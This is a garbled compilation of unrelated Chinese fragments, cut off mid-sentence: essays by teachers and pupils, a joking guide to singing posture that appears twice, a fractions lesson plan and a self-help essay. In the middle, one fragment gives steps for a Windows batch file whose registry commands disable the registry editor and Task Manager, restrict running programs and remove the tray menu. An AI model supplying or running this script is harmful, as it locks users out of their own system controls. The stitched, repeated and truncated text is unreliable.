大家都是一个整体

每个孩子都是天使

大学那会，由于时间比较充裕，所以就有去美术培训机构的想法。后来，经同学介绍，就去了一家美术培训机构，并且一直干了三年。在自己的教学过程中，发现幼儿在初步接触绘画时，学生思维大多不受拘束，他们总是很大胆的表现自己的画面，虽显凌乱，但却很有趣。记得那时有一个小男孩，他每次画完之后总是兴高采烈的拿着自己的画要给我讲他画面的故事，而我却因画面太多涂抹不符合自己的要求而大声斥责和冷落他。时间长了，他不再来给我讲，总是默默的在一边继续描绘自己的画面。而我还是会否定他的画面，自己却从未意识到这种行为也许扼杀了一个孩子最初对世界的美好想象。后来，在一次家长谈话中，这个学生的家长给我说了一些话，让我久久难忘。她说：“作为一个艺术启蒙者，一定要总尊重孩子，要爱他们。”之后，我再次和这个孩子沟通，他给我讲了很多他的画面，从中我被震撼到了。这是一个怎样的孩子？他也许不会成为一个画家，但可能会长成一个优秀的剧作家，因为他的思维很活跃，总是把我教的单调事物变得丰富起来，并用故事讲出来，并且绘声绘色。

记得之前老师说过“美术和其他科目是不一样的，它没有对错，只要能表达出自己的情感即可。”是的，面对幼儿喜欢的绘画，起初的涂鸦实际便是最好的纯真，没有熏染渲染

1、 唱歌时的姿势

一，精神饱满，决不可以以一幅病容状态或象别人欠了你一百万似的。

二，神态自若，知道什么叫神态自若吗？你可以在乘电梯时练习一下，偷偷地摸站在眼前的美女一把，然后假装若无其事。或事后盯着身旁的同性，装出惊讶的神情，然后神态自苦地目视前方。

三，双肩略后展，决不可象小偷一样缩肩弯背。 四，双脚象桌别林一样稍分开站稳，但身子不要东弯西倒。决不可偷懒躺在椅子里唱歌，比如有次我躺在椅子里闭目轻唱给碧聊里的MM们听，五岁的女儿见我闭着眼，误以为我唱歌睡着了，善自作主把刚学会的关电脑方法使用了。害得我一首唱完拿掉耳麦眼争大眼见无故停机，以为中毒了。

五，头部要端正，不可东张西望，斜视有人是否在视着你。除非你非法背着老婆上网与MM对情歌。

六，颈部肌肉要放松，小心生淋巴结核。下巴不要向前突出，不然在唱的过程中容易流出口水。

七，面部自然，不要僵得象到尿到身上一样紧张。要根据歌曲内容而富有表情；但也要撑握分寸，表情太丰富了有损观众对你的形象。 八，口形也应该根据字的发音要求自然张合，决不可像生了浓泡一样的嘴，在高声唱“啊”时嘴也张得小如文章后的句号一样。

九，还有很重要的一点，无论在演唱时或练唱时,都不要用

1、 唱歌时的姿势

一，精神饱满，决不可以以一幅病容状态或象别人欠了你一百万似的。

二，神态自若，知道什么叫神态自若吗？你可以在乘电梯时练习一下，偷偷地摸站在眼前的美女一把，然后假装若无其事。或事后盯着身旁的同性，装出惊讶的神情，然后神态自苦地目视前方。

三，双肩略后展，决不可象小偷一样缩肩弯背。 四，双脚象桌别林一样稍分开站稳，但身子不要东弯西倒。决不可偷懒躺在椅子里唱歌，比如有次我躺在椅子里闭目轻唱给碧聊里的MM们听，五岁的女儿见我闭着眼，误以为我唱歌睡着了，善自作主把刚学会的关电脑方法使用了。害得我一首唱完拿掉耳麦眼争大眼见无故停机，以为中毒了。

五，头部要端正，不可东张西望，斜视有人是否在视着你。除非你非法背着老婆上网与MM对情歌。

六，颈部肌肉要放松，小心生淋巴结核。下巴不要向前突出，不然在唱的过程中容易流出口水。

七，面部自然，不要僵得象到尿到身上一样紧张。要根据歌曲内容而富有表情；但也要撑握分寸，表情太丰富了有损观众对你的形象。 八，口形也应该根据字的发音要求自然张合，决不可像生了浓泡一样的嘴，在高声唱“啊”时嘴也张得小如文章后的句号一样。

九，还有很重要的一点，无论在演唱时或练唱时,都不要用

　　“老师好！”

　　“好！哎，小杰，你怎么在这里？”

　　“我刚好路过这，看见您……”他一边抱着我儿子，一边问我:

　　“老师，下学期您教九年级吗？我想去你们班……”

　　看着戴着眼镜一脸腼腆的他，心中无限感慨，时间过的真快啊，眼前这个少年突然间就高出我半头，再有一个月也是九年级的学生了。而关于他的一切还好像就发生在昨天。

　　还记得那个有着温暖阳光的午后：

　　那时我是七年级的班主任，每到下课，我都要去班转转，看看同学们在干什么，当然也想瞅准机会教育他们一番！

　　下课的班级，发挥你的想象可以预知其热闹程度，尤其是上一节是严厉紧张的xx课！正当我要喊停训话时，我被一种安静吸引去了……

　　是他？再定睛一看，就是他！我们班的祝小杰！

　　阳光打在他安静入神的侧脸，有一种无形的光环让他屏蔽了外界的喧闹。他的眼镜，没有哪一刻，比此刻更引起我的注意，以至于自言自语问：祝小杰戴眼镜吗？总之书生气爆棚就对了。这要是发生在别人身上我不会有如此大的反应，而他是我万万没想到的。

　　上一学期下来吸烟，打架，旷课，迟到……违反纪律的事，他几乎做了一遍，为他我不知废了多少口舌，多少心力。

　　但他不是那种赖皮耍横的人，每次犯错，态度都非常好，还很真诚，总能让人感受到他要悔过的决心，

妈妈在暑假里把我和哥哥送到了郑州玩了五天。

我和哥哥来到了郑州时，每天光顾着玩，爸爸妈妈对我说的那些安全注意事项全部忘得一干二净。

我们先去了二七广场的登二七塔，又去了科技馆和博物馆我们每天都是中午游玩，下午在叔叔家玩手机。不过在玩手机时经常会被电话声吵得受不了。

有一天，正在坐地铁，妈妈打来了电话，却被哥哥来了一句：这里信号不好，别打了！”嘟嘟嘟的声音跟着便出作文现了。

还有一次在和叔叔家的小孩玩捉迷藏，电话声响了，我们的藏身之处立刻就被发现了，哥哥一接通就说：妈妈这里有很多人，太吵了！挂了！”

哥哥那么大了，妈妈的话也不听了，这五天里，我和哥哥正儿八经就只接了一次妈妈的电话，那还是最后一天。

后来我想，我们一次又一次的挂掉了妈妈的电话，她心里一定很难受，也许每天晚上都睡不好觉。

现在，我才体会到妈妈的一个个电话，其实都是妈妈满满的爱。

还记得我刚离开居住多年的小县城的时候，我坐在汽车后座被一堆行李包围着。随着汽车的行驶，窗外景色像电影画面一样飞快闪过，我就像一辆停在同一站点多年的火车，终于向着下一个未知的地方前进。

很快，我到了。下了车，就直接去报到。几经周折，我从母亲手里接过了校服。分班之后，本想着能和以前认识的人分到同一个班里好有个照应，可惜事与愿违，整个班里一个人都不认识。排完座位，第一次发现一个班竟可以容纳这么多同学，毫不夸张地说，第一排的同学顶着讲桌坐，最后一排的同学顶着后墙坐。

时光转瞬即逝，我迎来了人生的一个小挫折，腿上的一块小骨头错位了。虽说不是什么大病，但也意味着要作文拄着拐杖走。这对我的打击还是挺大的。

每次走在上学的路上，路上的行人都用异样的眼光打量着我，让我浑身都不自在。为了避免这样的待遇，我只能早早出门，错过上班高峰期。我努力克服心理障碍，把注意力从人们惊讶的表情上转到周边的景物上，就算早上的一轮残月也成了我眼中的美景。

后来很多同学都约好了似的，和我一起上下学，还讲笑话给我听，于是我们不知不觉就成了朋友。往后的日子，我的朋友越来越多，人也变得开朗起来，而那段残缺的时光也成了一段最美的光景。

每一个站点都有风景，有的美丽如画，有的略有欠缺，但都是生命中不可缺

教学内容：《认识一个整体的几分之一》 主备人： 教材解读： 课时安排：1课时 授课时间： 使用人： 三年级上学期就已经认识了分数，把一个物体、一个图形平均分成几份，用几分之一表示其中的一份。本课时从一个物体的几分之一到一个整体的几分之一，是认识分数的一次发展。 教学目标： 1.使学生在具体情境中进一步认识分数，知道把一些物体看作一个整体平均分成若干份，其中的一份表示这个整体的几分之一。 2.使学生在学习用分数描述简单生活现象以及相关数量关系的过程中，进一步培养抽象、概括能力，增强用数表达和交流信息的能力。 3.使学生进一步体会分数与现实生活的联系，了解分数在实际生活中的应用，感受分数的意义和价值。 教学重点： 会用分数表示一个整体的几分之一。 教学难点： 理解整体与部分之间的关系。 教学准备： 师：课件、18根小棒、学生尺。 生：18根小棒、学生尺、水彩笔。 第一板块：前置学习，点燃情智（预习作业设计）： 嵌入教学：算“24点” 课中前置：把一个桃平均分成2份，每份是这个桃的1。 2教 学 过 程 教师教学活动 第二板块——开展学习活动，生成情智 师:算“24点”，都是有关整数的计算，而今天这节课我

每个人都是一个独立的自我，每个人都有自己的优点和缺点，世上绝对没有十全十美之人，但一个人如果能了解自己的优点和缺点，以及这些优点和缺点在不同时空对你所具有的意义，那就差不多接近十全十美了。

人的优缺点有些是与生俱来、无法改变的；有些则是因后天环境诱发、影响所致；有的则与性格无关，纯粹是一种外在条件，例如美与丑。

无论你愿不愿意，你的优缺点都将始终伴随着你，甚至跟随你一辈子，影响并决定着别人对你的态度，成为你在现实生活中求得生存的助力或阻力。

按理来讲，一个人的优点对其求生应该起到一种帮助作用，缺点则应成为一种阻力。因此，优点越多的人，成功的可能性越大；缺点越多的人，则越不易成功！可是事实又不尽如此，现实生活中，我们不难发现一些优秀之辈抑郁潦倒，而也有不少平庸之辈表现不凡。现实之所以如此，主要有以下几方面的原因： （1）优缺点的种类与本质。也就是说，有些人虽然优点不少，却存在着致命的缺点，这种缺点会破坏甚至毁灭其他优点所创造的成果，优秀人才的堕落潦倒大都因为如此；平庸的人缺点虽多，但若这些缺点不具彻底的破坏性，而优点又具有建设性，那么这种人的成功自可预期。

（2）机遇。一个人的成功离不开机遇，机遇影响着一个人的转折，这些转折有好有坏，至

1.首先一个【新建文本文档】

2.打开，输入以下内容：

@echo off

EG ADD

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t REG_DWORD /d 00000001 /f

REG ADD

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f

reg add

hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v

restrictrun /t reg_dword /d 00000001 /f

reg add

hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v

notraycontextmenu /t

南京市同仁小学“惠学”课堂教学设计 执教者：

课题 惠 学 目 标 认识一个整体的几分之一 课型 日期 基本目标：学生在具体情境中进一步认识分数，知道把一些物体 看作一个整体平均分成若干份，其中的一份表示这个整体的几 分之一。 个性化目标： A、B类学生用分数表示一个整体的几分之一，能用分数表述生活中的一些现象以及相关数量关系 C、D类学生能够用分数表示一个整体的几分之一 重点: 用分数表示一个整体的几分之一 “惠学” 重点 难点：理解整体与部分之间的关系 难点 板 书 设 计 基本练习： 练 习 分 层 设 计 ★提高练习： “惠学” 随堂 反思 页数： 南京市同仁小学“惠学”课堂教学设计 执教者：

教学过程 新课导入 师生“惠学”课堂活动 谈话导入： 师：两只小猴在树林里玩耍，猴妈妈带来了它们最喜欢吃的水果——桃（课件）。要把这一个桃平均分给2只小猴，每只